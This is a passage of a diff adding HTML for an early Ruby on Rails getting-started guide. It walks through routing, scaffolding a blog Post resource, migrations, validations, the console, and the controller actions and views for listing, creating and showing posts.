+<div class="para"><p>The default routes handle simple requests such as <tt>/home/index</tt>: Rails translates that into a call to the <tt>index</tt> action in the <tt>home</tt> controller. As another example, <tt>/posts/edit/1</tt> would run the <tt>edit</tt> action in the <tt>posts</tt> controller with an <tt>id</tt> of 1.</p></div>
+<div class="para"><p>To hook up your home page, you need to add another line to the routing file, above the default routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"home"</span>
+</tt></pre></div></div>
+<div class="para"><p>This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the <tt>index</tt> action.</p></div>
+<div class="para"><p>Now if you navigate to <tt>http://localhost:3000</tt> in your browser, you'll see the <tt>home/index</tt> view.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">For more information about routing, refer to <a href="../routing_outside_in.html">Rails Routing from the Outside In</a>.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_getting_up_and_running_quickly_with_scaffolding">5. Getting Up and Running Quickly With Scaffolding</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails <em>scaffolding</em> is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.</p></div>
+</div>
+<h2 id="_creating_a_resource">6. Creating a Resource</h2>
+<div class="sectionbody">
+<div class="para"><p>In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate scaffold Post name<span style="color: #990000">:</span>string title<span style="color: #990000">:</span>string content<span style="color: #990000">:</span>text
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.</td>
+</tr></table>
+</div>
+<div class="para"><p>The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="525" />
+<col width="1062" />
+<thead>
+ <tr>
+ <th align="left">
+ File
+ </th>
+ <th align="left">
+ Purpose
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ app/models/post.rb
+ </td>
+ <td align="left">
+ The Post model
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ db/migrate/20081013124235_create_posts.rb
+ </td>
+ <td align="left">
+ Migration to create the posts table in your database (your name will include a different timestamp)
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ app/views/posts/index.html.erb
+ </td>
+ <td align="left">
+ A view to display an index of all posts
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ app/views/posts/show.html.erb
+ </td>
+ <td align="left">
+ A view to display a single post
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ app/views/posts/new.html.erb
+ </td>
+ <td align="left">
+ A view to create a new post
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ app/views/posts/edit.html.erb
+ </td>
+ <td align="left">
+ A view to edit an existing post
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ app/views/layouts/posts.html.erb
+ </td>
+ <td align="left">
+ A view to control the overall look and feel of the other posts views
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ public/stylesheets/scaffold.css
+ </td>
+ <td align="left">
+ Cascading style sheet to make the scaffolded views look better
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ app/controllers/posts_controller.rb
+ </td>
+ <td align="left">
+ The Posts controller
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ test/functional/posts_controller_test.rb
+ </td>
+ <td align="left">
+ Functional testing harness for the posts controller
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ app/helpers/posts_helper.rb
+ </td>
+ <td align="left">
+ Helper functions to be used from the posts views
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ config/routes.rb
+ </td>
+ <td align="left">
+ Edited to include routing information for posts
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ test/fixtures/posts.yml
+ </td>
+ <td align="left">
+ Dummy posts for use in testing
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ test/unit/post_test.rb
+ </td>
+ <td align="left">
+ Unit testing harness for the posts model
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<h3 id="_running_a_migration">6.1. Running a Migration</h3>
+<div class="para"><p>One of the products of the <tt>script/generate scaffold</tt> command is a <em>database migration</em>. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.</p></div>
+<div class="para"><p>If you look in the <tt>db/migrate/20081013124235_create_posts.rb</tt> file (remember, yours will have a slightly different name), here's what you'll find:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePosts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>title
+ t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>content
+
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>posts
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you were to translate that into words, it says something like: when this migration is run, create a table named <tt>posts</tt> with two string columns (<tt>name</tt> and <tt>title</tt>) and a text column (<tt>content</tt>), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the <a href="../migrations.html">Rails Database Migrations</a> guide.</p></div>
+<div class="para"><p>At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake db<span style="color: #990000">:</span>create
+$ rake db<span style="color: #990000">:</span>migrate
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Because you're working in the development environment by default, both of these commands will apply to the database defined in the <tt>development</tt> section of your <tt>config/database.yml</tt> file.</td>
+</tr></table>
+</div>
+<h3 id="_adding_a_link">6.2. Adding a Link</h3>
+<div class="para"><p>To hook the posts up to the home page you've already created, you can add a link to the home page. Open <tt>/app/views/home/index.html.erb</tt> and modify it as follows:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>Hello<span style="color: #990000">,</span> Rails!<span style="color: #FF0000"></h1></span>
+
+<span style="color: #FF0000"><%= link_to "My Blog", posts_path %></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>link_to</tt> method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.</p></div>
+<h3 id="_working_with_posts_in_the_browser">6.3. Working with Posts in the Browser</h3>
+<div class="para"><p>Now you're ready to start working with posts. To do that, navigate to <tt>http://localhost:3000</tt> and then click the "My Blog" link:</p></div>
+<div class="para"><p><span class="image">
+<img src="images/posts_index.png" alt="Posts Index screenshot" title="Posts Index screenshot" />
+</span></p></div>
+<div class="para"><p>This is the result of Rails rendering the <tt>index</tt> view of your posts. There aren't currently any posts in the database, but if you click the <tt>New Post</tt> link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single <tt>script/generate scaffold</tt> command.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.</td>
+</tr></table>
+</div>
+<div class="para"><p>Congratulations, you're riding the rails! Now it's time to see how it all works.</p></div>
+<h3 id="_the_model">6.4. The Model</h3>
+<div class="para"><p>The model file, <tt>app/models/post.rb</tt> is about as simple as it can get:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>There isn't much to this file - but note that the <tt>Post</tt> class inherits from <tt>ActiveRecord::Base</tt>. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.</p></div>
+<h3 id="_adding_some_validation">6.5. Adding Some Validation</h3>
+<div class="para"><p>Rails includes methods to help you validate the data that you send to models. Open the <tt>app/models/post.rb</tt> file and edit it:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
+ validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=></span> <span style="color: #993399">5</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.</p></div>
+<h3 id="_using_the_console">6.6. Using the Console</h3>
+<div class="para"><p>To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/console
+</tt></pre></div></div>
+<div class="para"><p>After the console loads, you can use it to work with your application's models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">>></span> p <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>content <span style="color: #990000">=></span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">)</span>
+<span style="color: #990000">=></span> <span style="font-style: italic"><span style="color: #9A1900">#<Post id: nil, name: nil, title: nil, content: "A new post",</span></span>
+created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">></span>
+<span style="color: #990000">>></span> p<span style="color: #990000">.</span>save
+<span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="color: #990000">>></span> p<span style="color: #990000">.</span>errors
+<span style="color: #990000">=></span> <span style="font-style: italic"><span style="color: #9A1900">#<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,</span></span>
+title<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> content<span style="color: #990000">:</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">,</span> created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">>,</span>
+@<span style="color: #009900">errors</span><span style="color: #990000">=</span>{<span style="color: #FF0000">"name"</span><span style="color: #990000">=>[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">],</span> <span style="color: #FF0000">"title"</span><span style="color: #990000">=>[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">,</span>
+<span style="color: #FF0000">"is too short (minimum is 5 characters)"</span><span style="color: #990000">]</span>}<span style="color: #990000">></span>
+</tt></pre></div></div>
+<div class="para"><p>This code shows creating a new <tt>Post</tt> instance, attempting to save it and getting <tt>false</tt> for a return value (indicating that the save failed), and inspecting the <tt>errors</tt> of the post.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type <tt>reload!</tt> at the console prompt to load them.</td>
+</tr></table>
+</div>
+<h3 id="_listing_all_posts">6.7. Listing All Posts</h3>
+<div class="para"><p>The easiest place to start looking at functionality is with the code that lists all posts. Open the file <tt>app/controllers/posts_controller.rb </tt> and look at the <tt>index</tt> action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+ <span style="color: #009900">@posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+
+ respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># index.html.erb</span></span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@posts</span> <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This code sets the <tt>@posts</tt> instance variable to an array of all posts in the database. <tt>Post.find(:all)</tt> or <tt>Post.all</tt> calls the <tt>Post</tt> model to return all of the posts that are currently in the database, with no limiting conditions.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on finding records with Active Record, see <a href="../finders.html">Active Record Finders</a>.</td>
+</tr></table>
+</div>
+<div class="para"><p>The <tt>respond_to</tt> block handles both HTML and XML calls to this action. If you borwse to <tt>http://localhost:3000/posts.xml</tt>, you'll see all of the posts in XML format. The HTML format looks for a view in <tt>app/views/posts/</tt> with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's <tt>app/view/posts/index.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>Listing posts<span style="color: #FF0000"></h1></span>
+
+<span style="color: #FF0000"><table></span>
+ <span style="color: #FF0000"><tr></span>
+ <span style="color: #FF0000"><th></span>Name<span style="color: #FF0000"></th></span>
+ <span style="color: #FF0000"><th></span>Title<span style="color: #FF0000"></th></span>
+ <span style="color: #FF0000"><th></span>Content<span style="color: #FF0000"></th></span>
+ <span style="color: #FF0000"></tr></span>
+
+<span style="color: #FF0000"><% for post in @posts %></span>
+ <span style="color: #FF0000"><tr></span>
+ <span style="color: #FF0000"><td><%=h post.name %></td></span>
+ <span style="color: #FF0000"><td><%=h post.title %></td></span>
+ <span style="color: #FF0000"><td><%=h post.content %></td></span>
+ <span style="color: #FF0000"><td><%= link_to 'Show', post %></td></span>
+ <span style="color: #FF0000"><td><%= link_to 'Edit', edit_post_path(post) %></td></span>
+ <span style="color: #FF0000"><td><%= link_to 'Destroy', post, :confirm =></span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=></span> <span style="color: #990000">:</span>delete <span style="color: #990000">%></span><span style="color: #FF0000"></td></span>
+ <span style="color: #FF0000"></tr></span>
+<span style="color: #FF0000"><% end %></span>
+<span style="color: #FF0000"></table></span>
+
+<span style="color: #FF0000"><br /></span>
+
+<span style="color: #FF0000"><%= link_to 'New post', new_post_path %></span>
+</tt></pre></div></div>
+<div class="para"><p>This view iterates over the contents of the <tt>@posts</tt> array to display content and links. A few things to note in the view:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>h</tt> is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
+</p>
+</li>
+<li>
+<p>
+<tt>link_to</tt> builds a hyperlink to a particular destination
+</p>
+</li>
+<li>
+<p>
+<tt>edit_post_path</tt> is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more details on the rendering process, see <a href="../layouts_and_rendering.html">Layouts and Rendering in Rails</a>.</td>
+</tr></table>
+</div>
+<h3 id="_customizing_the_layout">6.8. Customizing the Layout</h3>
+<div class="para"><p>The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of <tt>layouts</tt>, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The <tt>script/generate scaffold</tt> command automatically created a default layout, <tt>app/views/layouts/posts.html.erb</tt>, for the posts. Open this layout in your editor and modify the <tt>body</tt> tag:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000"><!</span>DOCTYPE html PUBLIC <span style="color: #FF0000">"-//W3C//DTD XHTML 1.0 Transitional//EN"</span>
+ <span style="color: #FF0000">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</span><span style="color: #990000">></span>
+
+<span style="color: #FF0000"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"></span>
+<span style="color: #FF0000"><head></span>
+ <span style="color: #FF0000"><meta http-equiv="content-type" content="text/html;charset=UTF-8" /></span>
+ <span style="color: #FF0000"><title></span>Posts<span style="color: #990000">:</span> <span style="color: #FF0000"><%= controller.action_name %></title></span>
+ <span style="color: #FF0000"><%= stylesheet_link_tag 'scaffold' %></span>
+<span style="color: #FF0000"></head></span>
+<span style="color: #FF0000"><body style="background: #EEEEEE;"></span>
+
+<span style="color: #FF0000"><p style="color: green"><%= flash[:notice] %></p></span>
+
+<span style="color: #FF0000"><%= yield %></span>
+
+<span style="color: #FF0000"></body></span>
+<span style="color: #FF0000"></html></span>
+</tt></pre></div></div>
+<div class="para"><p>Now when you refresh the <tt>/posts</tt> page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.</p></div>
+<h3 id="_creating_new_posts">6.9. Creating New Posts</h3>
+<div class="para"><p>Creating a new post involves two actions. The first is the <tt>new</tt> action, which instantiates an empty <tt>Post</tt> object:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
+
+ respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># new.html.erb</span></span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>new.html.erb</tt> view displays this empty Post to the user:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><h1></span>New post<span style="color: #FF0000"></h1></span>
+
+<span style="color: #FF0000"><% form_for(@post) do |f| %></span>
+ <span style="color: #FF0000"><%= f.error_messages %></span>
+
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :name %><br /></span>
+ <span style="color: #FF0000"><%= f.text_field :name %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :title %><br /></span>
+ <span style="color: #FF0000"><%= f.text_field :title %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.label :content %><br /></span>
+ <span style="color: #FF0000"><%= f.text_area :content %></span>
+ <span style="color: #FF0000"></p></span>
+ <span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><%= f.submit "Create" %></span>
+ <span style="color: #FF0000"></p></span>
+<span style="color: #FF0000"><% end %></span>
+
+<span style="color: #FF0000"><%= link_to 'Back', posts_path %></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>form_for</tt> block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, <tt>f.text_field :name</tt> tells Rails to create a text input on the form, and to hook it up to the <tt>name</tt> attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case <tt>name</tt>, <tt>title</tt>, and <tt>content</tt>). Rails uses <tt>form_for</tt> in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the <tt>form_tag</tt> method, which provides shortcuts for building forms that are not necessarily tied to a model instance.</td>
+</tr></table>
+</div>
+<div class="para"><p>When the user clicks the <tt>Create</tt> button on this form, the browser will send information back to the <tt>create</tt> method of the controller (Rails knows to call the <tt>create</tt> method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
+
+ respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
+ flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
+ format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=></span> <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=></span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span> <span style="color: #FF0000">}</span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=></span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>create</tt> action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the <tt>params</tt> hash. After saving the new post, it uses <tt>flash[:notice]</tt> to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the <tt>create</tt> action just shows the <tt>new</tt> view a second time, with any error messages.</p></div>
+<div class="para"><p>Rails provides the <tt>flash</tt> hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of <tt>create</tt>, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the <tt>show</tt> action, they are presented with a message saying "Post was successfully created."</p></div>
+<h3 id="_showing_an_individual_post">6.10. Showing an Individual Post</h3>
+<div class="para"><p>When you click the <tt>show</tt> link for a post on the index page, it will bring you to a URL like <tt>http://localhost:3000/posts/1</tt>. Rails interprets this as a call to the <tt>show</tt> action for the resource, and passes in <tt>1</tt> as the <tt>:id</tt> parameter. Here's the <tt>show</tt> action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+
+ respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># show.html.erb</span></span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>show</tt> action uses <tt>Post.find</tt> to search for a single record in the database by its id value. After finding the record, Rails displays it by using <tt>show.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Name<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @post.name %></span>
+<span style="color: #FF0000"></p></span>
+
+<span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Title<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @post.title %></span>
+<span style="color: #FF0000"></p></span>
+
+<span style="color: #FF0000"><p></span>
+ <span style="color: #FF0000"><b></span>Content<span style="color: #990000">:</span><span style="color: #FF0000"></b></span>
+ <span style="color: #FF0000"><%=h @post.content %></span>
+<span style="color: #FF0000"></p></span>
+
+
